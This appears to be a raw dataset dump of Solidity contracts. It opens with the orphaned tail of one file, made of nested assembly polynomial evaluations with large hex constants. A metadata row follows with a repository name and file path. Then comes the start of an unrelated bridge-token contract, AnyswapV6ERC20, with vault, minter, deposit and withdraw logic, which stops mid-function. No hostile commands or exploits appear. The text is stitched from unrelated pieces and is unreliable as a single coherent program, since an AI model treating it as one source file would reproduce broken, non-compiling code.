add(0x2833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b5, mulmod(add(0xa737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e09, mulmod(add(0x2652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb67996, mulmod(add(0x6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a, mulmod(add(0x5428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae5522178, mulmod(add(0x76640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d9077, mulmod(add(0x375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee77, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff0, mulmod(add(0x573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e, mulmod(add(0x41776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac, mulmod(add(0x7f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c, mulmod(add(0x60bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb953, mulmod(add(0x1e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee, mulmod(add(0x284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd, mulmod(add(0x1e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c, mulmod(add(0x3d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb, mulmod(add(0x5e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f14, mulmod(add(0x21f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f63, mulmod(add(0x7b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae84, mulmod(add(0x755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba1758, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb, mulmod(add(0x5820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c4, mulmod(add(0x26a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf, mulmod(add(0x4b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb2, mulmod(add(0x5db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a4, mulmod(add(0x3aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be90, mulmod(add(0x16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c2, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff5, mulmod(add(0x29889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c4, mulmod(add(0x229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e40491, mulmod(add(0x73200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c58, mulmod(add(0x6d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e84, mulmod(add(0x7af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b1, mulmod(add(0x3cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed38, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e3396849, mulmod(add(0x56cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b7, mulmod(add(0x2a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb5447, mulmod(add(0x3444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b1, mulmod(add(0x6d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af, mulmod(add(0x7fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c, mulmod(add(0xded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf66278, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x54ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b, mulmod(add(0x688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a, mulmod(add(0x657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b81, mulmod(add(0x4c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b, mulmod(add(0x19637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee561, mulmod(add(0x7b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d, mulmod(add(0x6fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a289, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d, mulmod(add(0x199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a586045691, mulmod(add(0x17ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c, mulmod(add(0x7d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e, mulmod(add(0x51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc, mulmod(add(0x610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c, mulmod(add(0xccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x79fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd9, mulmod(add(0xf1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b, mulmod(add(0x43f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e, mulmod(add(0x27e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed519, mulmod(add(0x7e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d55, mulmod(add(0x2a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f, mulmod(add(0x77b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x78aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e84, mulmod(add(0x69d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f, mulmod(add(0x201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d31, mulmod(add(0x7238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac1111, mulmod(add(0x219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb, mulmod(add(0x329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c, mulmod(add(0x1958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e243, mulmod(add(0x6eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f52, mulmod(add(0x90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e, mulmod(add(0x2f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec2, mulmod(add(0x4adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea, mulmod(add(0x1a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea, mulmod(add(0x15ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d847, mulmod(add(0x7f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c8684382, mulmod(add(0x64d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e5, mulmod(add(0x84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a, mulmod(add(0x28b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad, mulmod(add(0x6d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db, mulmod(add(0x1fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x45b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df7, mulmod(add(0xe505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f, mulmod(add(0x2a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a68, mulmod(add(0x40a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e7, mulmod(add(0x31a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d150, mulmod(add(0x68384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd856, mulmod(add(0x1a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be8, mulmod(add(0x399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c, mulmod(add(0x68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf40, mulmod(add(0x4387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f, mulmod(add(0x3159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c, mulmod(add(0x2868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f5, mulmod(add(0x68486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc59, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea3, mulmod(add(0x50c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb, mulmod(add(0x3c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc5, mulmod(add(0x3924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf029211815, mulmod(add(0x1cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a2, mulmod(add(0x360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e1, mulmod(add(0x357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e01742, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a, mulmod(add(0x5ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f5, mulmod(add(0x5dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb, mulmod(add(0x22aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba, mulmod(add(0x78f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f5, mulmod(add(0x2d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee, mulmod(add(0x6207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a0, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae47, mulmod(add(0x160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c8, mulmod(add(0x4846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb, mulmod(add(0x2e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef25, mulmod(add(0x73724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a35, mulmod(add(0x23bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd59, mulmod(add(0x737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d652, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf, mulmod(add(0x318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc17707, mulmod(add(0x7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b48460, mulmod(add(0x181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc4, mulmod(add(0x2353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df41, mulmod(add(0x775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac922, mulmod(add(0x316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c8, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c, mulmod(add(0x47f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d, mulmod(add(0x6f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d4, mulmod(add(0x685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad80, mulmod(add(0x4fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f, mulmod(add(0xb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d9, mulmod(add(0x59869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe, mulmod(add(0xc61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b637, mulmod(add(0x206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b, mulmod(add(0x4255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd, mulmod(add(0x5fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb3, mulmod(add(0x50f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e4, mulmod(add(0x7b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca0, mulmod(add(0x728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a5, mulmod(add(0x72c0dd24a576b47a84cdd1a20227773b5621f85b781c288625e3368e1cf738a, mulmod(add(0x6dff267c3bbce68474294da908df4f5cf2a4160c638f7cb45c098057e968f44, mulmod(add(0x842955243a56778a332ba9be0b22b2af62efaa50068d3078675fb76c225e76, mulmod(add(0x14899e0f97aac917d46ce5e9ddf11194fb846d2c52726af4085f27c570a98a9, mulmod(add(0x1bd842a4ec97e1489ceb542bd3161e5a00ce431547bfadfbced954d993b0a11, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e23809ce49747990e43b2d976083dc84d67e75cf22e5a76ad5b7a2dca50b3d, mulmod(add(0x40f019a18b8097235264cb8efee7d149321a199ccd32ffac43b5a778dfadda1, mulmod(add(0x1495d40cf3f13c5fc90653c2b2f02e0b833790c07576286d3127f745ea920ae, mulmod(add(0x7c3234094dff9a45064a5b9abd0667c04dd76c62722984f7f8475e7cc344c06, mulmod(add(0x119bcf6402ad9953851bac8e318d50af699b0cc75e2597aff0a2cc521975aa4, mulmod(add(0x1dbdc2ea2e555309578eeb2352fbc47c8fd5ed77cc09903b577700f9a4d1be1, mulmod(add(0x76d656560dac569683063278ea2dee47d935501c2195ff53b741efe81509892, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1cdf0446663046f35c26d51e45a5233a93c51f4f7f1985dfe130dd67addefa3, mulmod(add(0x6df73a948c95439f3230282814ba7e26203cfdc725901e4971ad9cff4db4396, mulmod(add(0x9969a08d753e885857a5696d1cafd39f62bb193acc99089df76c240acd2fc0, mulmod(add(0x2065bc7a4aa38d5fe86f9b593ccd060f8d4a5a19a9ca8b182c32199a4bd27be, mulmod(add(0x611384709c407d85c93256b6aff04c4ac515450c70cf507994165abfe2347b, mulmod(add(0x9460aa25f77fc10cfcc4579e2011e39ce477a32a768aa553201e556ed2bbe1, mulmod(add(0x7f0a3bec1d34f2fd632993a3d9c6432401cec25ad9d6196b909f3672980bd05, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47dc0e209ee8d0b67f63d9e63837ff2ab462c4839bc14a1a3e802327ff0e31f, mulmod(add(0x35ca7fa56aa38486833a976804899ba3c97fdaa0a23056cd2dc9bfdbcdd2e31, mulmod(add(0x575531b404cdba72a63dbbd17aef7d9ae00f73eca7c6dcdaf5e0778c921be41, mulmod(add(0x319c68159cdf104c2543486ff784860f302187d77effb9a5fefe4e16f0ddc2c, mulmod(add(0x49aadcf98ef59c0e5d2097845949988862b96194abc8c5453f056f232482892, mulmod(add(0x5030fda0c29a929e6cd634b9f3d1bf975c363012cfb439cae13495f8ce10225, mulmod(add(0x59cbe680183d1dc3161ee7f945f38ab9461a5293748b2b7be84899e62c9860b, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x562f636b49796e469dfe9e6748c4468f340e8f69e3f79cfe6925a261198dbb3, mulmod(add(0x7dd14b0299ff6064a96fe97e086df3f64a4c7e8b4a58a5bd5fe1b9cf7c61e7c, mulmod(add(0x73c57ecea0c64a9bc087e50a97a28df974b294c52a0ef5854f53f69ef6773af, mulmod(add(0x744bdf0c2894072564f6eca2d26efc03ef001bc6e78b34bf6be3a1a91fd90fc, mulmod(result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
}
return result % PRIME;
}
}
| 157,978 | 12,277 |
34378a079ca72728254b9f567c63c3d21b8e3968264317fe96b2ce271647f989
| 23,755 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/c8/c8a45dd787a301c38ad33f692f0d41c18590ef94_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
